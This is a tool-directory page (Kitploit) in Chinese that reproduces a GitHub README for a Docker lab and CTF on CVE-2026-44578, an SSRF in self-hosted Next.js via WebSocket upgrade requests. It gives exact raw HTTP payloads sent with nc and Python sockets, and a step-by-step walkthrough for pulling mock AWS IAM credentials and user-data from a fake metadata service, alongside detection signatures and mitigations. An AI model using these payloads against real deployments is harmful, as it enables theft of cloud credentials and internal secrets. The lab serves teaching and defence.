Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-44578-next-js-ssrf — 这个实验室可能好也可能坏,正在测试中,但应该能用,去问问AI吧哈哈 | Kitploit
工具/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试云安全实验室与实践
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

这个实验室可能好也可能坏,正在测试中,但应该能用,去问问AI吧哈哈

查看仓库
11小时46分前尚未审核
分享

CVE-2026-44578 — Next.js WebSocket 升级 SSRF(实验室)

自包含实验室,用于复现 Next.js 自托管 应用中使用内置 Node.js 服务器时的 CVE-2026-44578(CWE-918,SSRF)漏洞。

字段值
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 高危 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
类型SSRF(CWE-918)
受影响版本Next.js 13.4.13 – 15.5.15 和 16.0.0 – 16.2.4
已修复版本15.5.16 和 16.2.5
认证无
用户交互无

实验室拓扑

root@kitploit:~
攻击者 (host: 0.0.0.0)
    │  HTTP :3000 (公开)
    ▼
┌──────────────────────────┐  同一网络命名空间  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ 伪造 AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (凭据,              │
│ (内置 Node 服务器)        │                           │  user-data, 索引)   │
└──────────────────────────┘                           └─────────────────────┘
  • nextjs-vuln(端口 3000):易受攻击的应用,暴露于 0.0.0.0:3000。
  • imds-sidecar:AWS 元数据服务的模拟,位于 Next.js 容器命名空间 内部 的 localhost:80,模拟真实云实例。无法从主机直接访问(未发布端口)。
root@kitploit:~
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # 自动化 PoC(5 个探测)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # 伪造 IMDSv1 + 秘密路由
                        └── nextjs-app/             # 真实应用 "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # 导航栏/页脚
                            │   ├── page.js         # 落地页
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (易受攻击)

为何易受攻击

router-server.ts 中的 WebSocket 升级处理器在解析后的 URI 具有 parsedUrl.protocol 时调用 proxyRequest(),未 检查普通 HTTP 处理器始终发出的 finished 和 statusCode 标志:

root@kitploit:~
  // 易受攻击 (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // 补丁 (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

攻击路径使用 双斜杠绝对 URI 的请求行: GET http:///path。normalizeRepeatedSlashes 将 http:/// 折叠为 http:/,从而没有主机名,然后 http-proxy 连接到 localhost:80,路径保持不变:

root@kitploit:~
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

Connection: Upgrade + Upgrade: websocket 头的存在使请求落入易受攻击的升级处理器,而不是具有安全检查的 HTTP 处理器。

启动实验室

root@kitploit:~
docker compose up -d --build

验证应用响应:

root@kitploit:~
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

为了使其在 0.0.0.0 上运行,docker-compose.yml 中的端口映射已在所有接口上暴露 3000:3000。

手动利用

1. 使用 netcat (nc)

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. 使用纯 Python(标准库,无依赖)

root@kitploit:~
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. 使用自动化 PoC

root@kitploit:~
python3 exploit/exploit.py 127.0.0.1 3000

CTF — 手动捕获最终标志

完整 100% 手动流程,分 4 个阶段。内部服务(localhost:80)中隐藏着 4 个标志;本指南展示到达第一个标志的流程,并为你留下寻找其余标志的路径。

阶段 1 — 侦察

root@kitploit:~
# 服务器指纹
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# 通过 socket 检查开放端口(无需 nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

攻击者无法直接访问 127.0.0.1:80:唯一途径是让 Next.js 服务器(与内部服务位于同一网络)替我们发起请求。

阶段 2 — 通过 SSRF 枚举元数据服务

首先通过查询元数据服务的索引来确认 SSRF:

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

索引响应 → 候选:instance-id、hostname、iam/security-credentials/、user-data(第一个标志)。latest/meta-data/ 的索引还揭示了值得继续探索的子键。

阶段 3 — 逐字节构造载荷

root@kitploit:~
GET http:///latest/user-data HTTP/1.1
部分功能
GET该漏洞仅代理 GET
http:///latest/user-data绝对 URI。http:/// 折叠为 http:/ → 主机名为空 → 代理连接到 localhost:80,保留路径 /latest/user-data
Host: 127.0.0.1:3000否则服务器返回 400
Connection: Upgrade + Upgrade: websocket将请求引导至 易受攻击的 升级处理器(普通 HTTP 处理器确实会验证)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==合法握手所需的最少头

终止:原始 socket 上的 \r\n\r\n(无正文)。

阶段 4 — 手动触发并捕获标志

root@kitploit:~
# 选项 A:netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
root@kitploit:~
# 选项 B:Python 原始 socket(同样精确,无需 nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

输出 — 第一个标志 在内部服务响应的正文中到达:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14

#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}

已获得标志 1/4。 server: BaseHTTP/0.6 ...(Python 模拟)头确认请求经过了 攻击者 → Next.js → localhost:80,即标志通过 SSRF 从内部网络被窃取。其余 3 个散布在元数据服务和内部服务的路径中 — latest/meta-data/ 的索引是你的地图。找到其余标志。

实验室中暴露的端点

伪造的 IMDS(localhost:80)模拟真实的 AWS 元数据服务:它是一个 可导航的树。每个目录(以 / 结尾)响应其子路径的索引;请求不带 / 的目录返回 301 重定向。没有隐藏路径:没有标志需要猜测 — 一切通过导航索引发现。

root@kitploit:~
/  →  latest/
        ├── meta-data/   → ami-id, hostname, iam/, instance-id, instance-type,
        │                   local-hostname, placement/, public-hostname, tags/
        ├── dynamic/     → instance-identity/
        └── user-data    → 启动脚本(指向 internal/config)
路径内容
latest/meta-data/元数据索引(见上方)
latest/meta-data/iam/security-credentials/角色 lab-ssrf-role
latest/meta-data/iam/security-credentials/lab-ssrf-role包含 AccessKeyId、SecretAccessKey 和 Token 的 JSON
latest/user-data包含数据库凭据的启动脚本
latest/dynamic/instance-identity/document实例身份 JSON
internal/config内部服务的配置(DB、API 密钥)— 由 user-data 引用

CTF 挑战: 有 4 个标志,每个都是针对 AWS 的 SSRF 利用链中的 真实工件:(1) 启动 user-data,(2) IAM 凭据,(3) 身份文档,(4) 内部服务配置。其值 未公开。导航索引(/ → latest/ → …),你将从一个横幅到下一个横幅;user-data 脚本会告诉你第四个标志的位置。无需猜测路径:404 只会暴露你在发明不存在的路径。

解决指南(渐进式剧透)

完整版本包含标志→标志链,见单独文档: SOLUCION.md(每个标志给你下一个的提示,不在本 README 中)。

规则: 每个标志有一个提示、一个 障碍 和解决方案。先用提示尝试;卡住时使用障碍。没有隐藏路径:没有伪造,一切皆可导航。

开始前两个注意事项:

  1. ssrf() 辅助函数已就绪,见 SOLUCION.md → 准备:复制并使用它完成其余指南。发送 GET http:///<path> 请求,带 Connection: Upgrade + Upgrade: websocket。
  2. 标志以 base64 加密传输。 在响应中你会看到 RkxBR3… 块(FLAG{…} 的 base64)。解密: echo <blob> | base64 -d。

标志 1 — user-data(最简单)

  • 提示: 对 /latest/user-data 的 GET 返回什么?这是任何攻击者在 AWS 上首先检查的内容。
  • 障碍 1(索引 301): 文件夹以 / 结尾列出。ssrf latest/meta-data 给你 301 Moved Permanently 和 Location: latest/meta-data/。= "跟随我"。使用 nc 没有自动跟随:带斜杠 重复请求。
  • 解决方案:
root@kitploit:~
ssrf latest/user-data

在正文中:包含 DB_PASS=… 的启动脚本(标志 1 在其中),以及一行 curl -s http://internal/config,这是标志 4 的地图。

标志 2 — IAM 凭据

  • 提示: 导航 latest/meta-data/iam/security-credentials/ 并请求出现的角色。
  • 障碍 2(Token 不是填充): 200 返回一个长 JSON。AccessKeyId/SecretAccessKey 显而易见;标志 2 不在那里:Token 字段是单个 base64 字符串。解密它。
  • 解决方案:
root@kitploit:~
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role

标志 3 — 身份文档

  • 提示: latest/meta-data/ 不是唯一的树。查看根索引:有一个几乎没人打开的 dynamic/。
  • 障碍(链式重定向): dynamic/ → instance-identity/ → document。三个层级;每一层你的 ssrf 必须以 / 结尾(document 除外)。人们因在 301 后未重新请求而迷失。
  • 解决方案:
root@kitploit:~
ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document

身份 JSON 包含一个带有标志 3 的 FLAG 键(base64)。如果你的命令序列在第二层返回 301,记住障碍 1 的教训。

标志 4 — 内部服务配置

  • 提示: 标志 1(user-data)泄露了地址:curl -s http://internal/config。
  • 障碍(什么是 "internal"?): 从攻击者角度看 internal 无法解析。"internal" 是 服务器端 的别名,不是你的。你不改变主机:SSRF 总是落在 localhost:80;你只选择 路径。
  • 解决方案:
root@kitploit:~
ssrf internal/config

验证全部 4 个(base64 块 → 解码):

root@kitploit:~
ssrf latest/user-data        | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config         | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo

4/4 标志到手。如果某个未输出 FLAG{...},你知道该怎么做:检查 user-data 的 curl(标志 4 的障碍)或索引的 /(标志 1 的障碍)。

手动使用示例,例如 IAM 凭据:

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

预期结果 — 响应带有 server: BaseHTTP/0.6 Python/3.12.x(模拟),而非 Next.js 横幅,证明请求由服务器向 localhost:80 发出:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain

{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}

PoC 结果

PoC 验证 SSRF 但 审查标志:FLAG{...} 的 base64 块和明文 FLAG{...} 显示为审查文本。值只能通过手动探索获得(见上方 CTF 部分)。

root@kitploit:~
--- IAM Creds ---
  HTTP/1.0 200 OK
  {"Code": "Success", ..., "Token": "RkxBR3******** (flag cifrado: explotacion manual) ***"}

--- User Data ---
  HTTP/1.0 200 OK
  #!/bin/bash
  flag=RkxBR3******** (flag cifrado: explotacion manual) ***

漏洞限制

  • 仅 GET(不支持 POST/PUT)。
  • 仅端口 80(主机名在 http:/// 的规范化中丢失)。
  • IMDSv2 不可利用(需要 PUT 获取令牌)。
  • GCP 元数据 不可利用(以 400 拒绝 Upgrade: websocket)。
  • Vercel 托管 不受影响。
  • 在反向代理(nginx/Caddy/HAProxy)后面,绝对 URI 通常会被阻止。

"已修复" 验证

要确认补丁(Next.js ≥ 15.5.16)阻止了攻击,将 nextjs-app/package.json 中的版本更改为 15.5.16,重建并重新执行相同载荷:连接将关闭且不返回数据。

检测

Next.js 进程日志中的特征:

  • Failed to proxy http:/ — 代理已触发但目标不可达。
  • 请求行包含带 http: 的绝对 URI,同时带有 Connection: Upgrade / Upgrade: websocket 头的请求。

缓解措施

  • 升级到 15.5.16 / 16.2.5 或更高版本。
  • 如果无法升级:在反向代理中阻止 WebSocket 升级,并在 AWS 上应用 IMDSv2(HttpTokens=required)。
  • 拒绝绝对 URI 的 nginx 示例:
root@kitploit:~
if ($request_uri ~* "^https?://") { return 400; }

参考

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44578
  • GHSA: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • 修复提交: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
下载工具